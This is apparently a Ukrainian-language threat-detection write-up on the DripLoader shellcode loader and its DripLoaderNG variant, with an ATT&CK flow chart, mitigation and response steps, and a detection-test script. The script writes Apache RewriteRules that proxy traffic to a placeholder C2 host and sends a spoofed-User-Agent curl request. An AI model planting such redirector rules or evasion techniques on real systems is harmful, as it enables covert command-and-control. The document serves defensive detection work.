DripLoader Malware: Shellcode Execution and Defense Evasion
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
У статті розглядається DripLoader, завантажувач шелкоду, який виділяє пам’ять, записує в неї шелкод, змінює дозволи сторінок на виконувані, а потім запускає його. Висвітлюється, як завантажувач доставляється через HTTPS-перенаправлювач, підтримуваний фреймворком Havoc C2, і як його код можна заплутати за допомогою стиснення та непрямих системних дзвінків. У дописі також представлено вдосконалений варіант, DripLoaderNG, що базується на підвантаженні .node та додаткових методах ухилення, а також практичні рекомендації з виявлення та інструменти аналізу пам’яті.
Розслідування
Розслідування описує налаштування лабораторії, де Havoc надсилає стиснений шелкод через спеціальний Apache-перенаправлювач. Завантажувач резервує регіони на 64 КБ, робить коміти сторінок на 4 КБ, змінює прапори захисту та виконує корисне навантаження. DripLoaderNG вводить непрямі системні дзвінки та підвантаження .node модулів, орієнтованих на застосунок Slack Electron. Виявлення демонструється за допомогою інструментів, таких як Moneta, PE-sieve, і підтримувані запити KQL.
Пом’якшення
Кроки пом’якшення включають моніторинг підозрілих HTTPS-перенаправлень, виявлення підроблених рядків user-agent, помітка рідкісних .node файлів і використання функцій EDR для виявлення поведінки непрямих системних дзвінків. Додаткові рекомендації включають налаштування конфігурацій Sliver/Donut для зменшення втручання в AMSI та обмеження виконання непідписаних рідних модулів.
Реакція
Якщо виявлена активність, ізолюйте уражений кінцевий пункт, зупиніть шкідливий процес, захопіть дампи пам’яті і перевірте ін’єктований шелкод. Заблокуйте домен або IP C2, скиньте вразливі облікові дані та впровадьте захисні правила для визначених індикаторів user-agent та .node файлів. Проведіть судово-медичний аналіз і оновіть контент виявлення для покриття спостережуваних шаблонів непрямих системних дзвінків.
mermaid graph TB %% Визначення класів classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Вузли Техніки step_initial_access[“<b>Техніка</b> – <b>T1090 Proxy</b><br /><b>Опис</b>: Використовує HTTPS-перенаправлення та підроблений User-Agent для доставки шкідливих завантажень і встановлення командно-контрольних з’єднань через веб-трафік.”] class step_initial_access technique step_c2[“<b>Техніка</b> – <b>T1102.002 Вебслужба: Двонаправлений Зв’язок</b><br /><b>Опис</b>: Спілкується із зловмисником через HTTPS веб-служби, забезпечуючи двосторонній Command&Control.”] class step_c2 technique step_obfusc_compress[“<b>Техніка</b> – <b>T1027.015 Стиснення</b><br /><b>Опис</b>: Навантаження стиснуто з LZMS, щоб приховати його вміст від статичного аналізу та захисту на основі підписів.”] class step_obfusc_compress technique step_obfusc_compile[“<b>Техніка</b> – <b>T1027.004 Компиляція після доставки</b><br /><b>Опис</b>: Завантаження компілюється після доставки, щоб уникнути виявлення.”] class step_obfusc_compile technique step_process_injection[“<b>Техніка</b> – <b>T1055.002 Ін’єкція виконуваного файлу</b><br /><b>Опис</b>: DripLoader виділяє віртуальну пам’ять, копіює шелкод, змінює захист сторінок та виконує його у легітимному процесі.”] class step_process_injection technique step_reflective_loading[“<b>Техніка</b> – <b>T1620 Завантаження Відображуваного Коду</b><br /><b>Опис</b>: Завантажувач відображає скопійований шелкод у пам’яті та запускає його без використання засобу завантаження операційної системи.”] class step_reflective_loading technique step_dll_injection[“<b>Техніка</b> – <b>T1055.001 Ін’єкція Дінамічної бібліотеки посилань</b><br /><b>Опис</b>: Шкідливий модуль .node (DLL) підвантажується у процес Slack, дозволяючи виконання коду під управлінням довіреного застосунку.”] class step_dll_injection technique step_persistence[“<b>Техніка</b> – <b>T1546.009 AppCert DLLs</b><br /><b>Опис</b>: Підвантажена бібліотека DLL залишається, реєструючись як сертифікаційна бібліотека застосунку, забезпечуючи виконання при старті системи.”] class step_persistence technique step_evasion_cred_api[“<b>Техніка</b> – <b>T1056.004 Підключення API облікових даних</b><br /><b>Опис</b>: Використовує непрямі системні дзвінки для виклику нативних API Windows, обходячи керовані EDR-гаки.”] class step_evasion_cred_api technique step_evasion_indicator_removal[“<b>Техніка</b> – <b>T1027.005 Видалення індикаторів з інструментів</b><br /><b>Опис</b>: Модифікує конфігурацію Sliver/Donut для відключення патрування AMSI, запобігаючи виявленню антивірусними двигунами.”] class step_evasion_indicator_removal technique step_evasion_stripped[“<b>Техніка</b> – <b>T1027.008 Усічені навантаження</b><br /><b>Опис</b>: Видаляє налагоджувальні та метадані інформації з навантаження для зменшення судових артефактів.”] class step_evasion_stripped technique step_masquerade[“<b>Техніка</b> – <b>T1036.008 Маскування типу файлу</b><br /><b>Опис</b>: Перейменовує шкідливий файл .node, щоб виглядати як легітимний нативний модуль, зливаючись із очікуваними файлами застосунку.”] class step_masquerade technique step_server_component[“<b>Техніка</b> – <b>T1505.003 Компонент програмного забезпечення сервера: Веб-оболонка</b><br /><b>Опис</b>: Передає шелкод і завантажувачі через веб-перенаправляч, потім розпаковує та виконує їх на цілі.”] class step_server_component technique %% Вузли Оператора op_obfusc((“І”)) class op_obfusc operator op_evasion((“І”)) class op_evasion operator %% Зв’язки step_initial_access u002du002d>|веде до| step_c2 step_c2 u002du002d>|веде до| step_obfusc_compress step_c2 u002du002d>|веде до| step_obfusc_compile step_obfusc_compress u002du002d>|частина| op_obfusc step_obfusc_compile u002du002d>|частина| op_obfusc op_obfusc u002du002d>|веде до| step_process_injection step_process_injection u002du002d>|веде до| step_reflective_loading step_reflective_loading u002du002d>|веде до| step_dll_injection step_dll_injection u002du002d>|веде до| step_persistence step_persistence u002du002d>|веде до| step_evasion_cred_api step_persistence u002du002d>|веде до| step_evasion_indicator_removal step_persistence u002du002d>|веде до| step_evasion_stripped step_evasion_cred_api u002du002d>|частина| op_evasion step_evasion_indicator_removal u002du002d>|частина| op_evasion step_evasion_stripped u002du002d>|частина| op_evasion op_evasion u002du002d>|веде до| step_masquerade step_masquerade u002du002d>|веде до| step_server_component
Потік атаки
Виявлення
Виявлення виконання шелкоду DripLoader та тактик ухилення [Веб-сервер]
Переглянути
IOCs (DestinationIP) для виявлення: DripLoader: Дослідження випадку виконання шелкоду та ухилення
Переглянути
IOCs (SourceIP) для виявлення: DripLoader: Дослідження випадку виконання шелкоду та ухилення
Переглянути
Непідписаний .node файл завантажено
Переглянути
Виконання симуляції
Передумова: Перевірка телеметрії та базового передполітного тесту повинна пройти.
Обґрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), призначене для спрацювання правила виявлення. Команди та наратив повинні безпосередньо відображати ідентифіковані TTP і націлюватися на генерацію саме тієї телеметрії, яку очікує логіка виявлення. Абстрактні або не пов’язані приклади призведуть до неправильної діагностики.
-
Наратив атаки та команди:
Оператор шкідливої інфраструктури готує веб-сервер жертви для виконання функцій каналу до сервера C2. Вони вставляють двіRewriteRuleдирективи в конфігурацію віртуального хоста Apache: першу, що проксірує весь вхідний трафік наhttps://C2.TeamServer.IP:443([P]прапор) і другу, що перенаправляє будь-який запит на безпечну URL-адресу Google ([L,R=302]). Після перезавантаження Apache зловмисник видає підроблений HTTP-запит з точно такою підробленою строкою User-Agent, як визначено в правилі Sigma. Apache обробляє запит, записує User-Agent, і двигун переписування записує дію проксі, задовольняючи обидві умови виявлення. -
Скрипт регресійного тесту:
#!/usr/bin/env bash # ------------------------------------------------- # Скрипт перевірки виявлення DripLoader # ------------------------------------------------- APACHE_CONF="/etc/apache2/sites-available/000-default.conf" BACKUP_CONF="/tmp/000-default.conf.bak" # 1. Резервне копіювання поточної конфігурації sudo cp "$APACHE_CONF" "$BACKUP_CONF" # 2. Вставити шкідливі правила переписування sudo bash -c "cat >> $APACHE_CONF <<'EOF' # ПОЧАТОК правил тестування DripLoader RewriteEngine On RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P] RewriteRule ^.*$ "https://www.google.com" [L,R=302] # КІНЕЦЬ правил тестування DripLoader EOF" # 3. Перезавантажте Apache, щоб застосувати зміни sudo systemctl reload apache2 # 4. Видати шкідливий запит з точно підробленим User-Agent curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, як Gecko) Chrome/ Safari/537.366" http://localhost/ echo "Шкідливий запит надіслано. Перевірте SIEM для оповіщення про виявлення." -
Команди очищення:
#!/usr/bin/env bash # ------------------------------------------------- # Очищення тестування виявлення DripLoader # ------------------------------------------------- APACHE_CONF="/etc/apache2/sites-available/000-default.conf" BACKUP_CONF="/tmp/000-default.conf.bak" # Відновити оригінальну конфігурацію if [[ -f "$BACKUP_CONF" ]]; then sudo cp "$BACKUP_CONF" "$APACHE_CONF" sudo systemctl reload apache2 echo "Оригінальна конфігурація Apache відновлена." else echo "Резервна копія не знайдена; може знадобитися ручне очищення." fi